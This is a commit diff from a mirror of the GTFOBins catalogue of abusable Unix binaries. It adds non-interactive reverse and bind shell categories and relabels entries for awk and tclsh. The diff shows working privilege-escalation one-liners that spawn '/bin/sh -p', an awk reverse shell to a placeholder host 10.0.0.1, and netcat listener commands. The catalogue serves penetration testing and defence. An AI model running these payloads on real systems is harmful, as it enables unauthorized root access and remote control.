mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Introduce non-interactive reverse and bind shells
This commit is contained in:
parent
19710192c3
commit
793cd12812
@ -37,3 +37,11 @@ reverse-shell:
|
|||||||
load-library:
|
load-library:
|
||||||
label: Library load
|
label: Library load
|
||||||
description: It loads shared libraries that may be used to run code in the binary execution context.
|
description: It loads shared libraries that may be used to run code in the binary execution context.
|
||||||
|
|
||||||
|
bind-shell-non-interactive:
|
||||||
|
label: Non-interactive bind shell
|
||||||
|
description: It can bind a non-interactive shell to a local port to allow remote network access.
|
||||||
|
|
||||||
|
reverse-shell-non-interactive:
|
||||||
|
label: Non-interactive reverse shell
|
||||||
|
description: It can send back a non-interactive reverse shell to a listening attacker to open a remote network access.
|
||||||
|
@ -6,7 +6,7 @@ functions:
|
|||||||
- code: sudo awk 'BEGIN {system("/bin/sh -p")}'
|
- code: sudo awk 'BEGIN {system("/bin/sh -p")}'
|
||||||
suid-limited:
|
suid-limited:
|
||||||
- code: ./awk 'BEGIN {system("/bin/sh -p")}'
|
- code: ./awk 'BEGIN {system("/bin/sh -p")}'
|
||||||
reverse-shell:
|
reverse-shell-non-interactive:
|
||||||
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
@ -15,7 +15,7 @@ functions:
|
|||||||
s = "/inet/tcp/0/" RHOST "/" RPORT;
|
s = "/inet/tcp/0/" RHOST "/" RPORT;
|
||||||
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
|
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
|
||||||
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
|
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
|
||||||
bind-shell:
|
bind-shell-non-interactive:
|
||||||
- description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end.
|
- description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
LPORT=8000
|
LPORT=8000
|
||||||
|
@ -12,7 +12,7 @@ functions:
|
|||||||
- code: |
|
- code: |
|
||||||
./tclsh
|
./tclsh
|
||||||
exec /bin/sh -p <@stdin >@stdout 2>@stderr
|
exec /bin/sh -p <@stdin >@stdout 2>@stderr
|
||||||
reverse-shell:
|
reverse-shell-non-interactive:
|
||||||
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=10.0.0.1
|
export RHOST=10.0.0.1
|
||||||
|
Loading…
Reference in New Issue
Block a user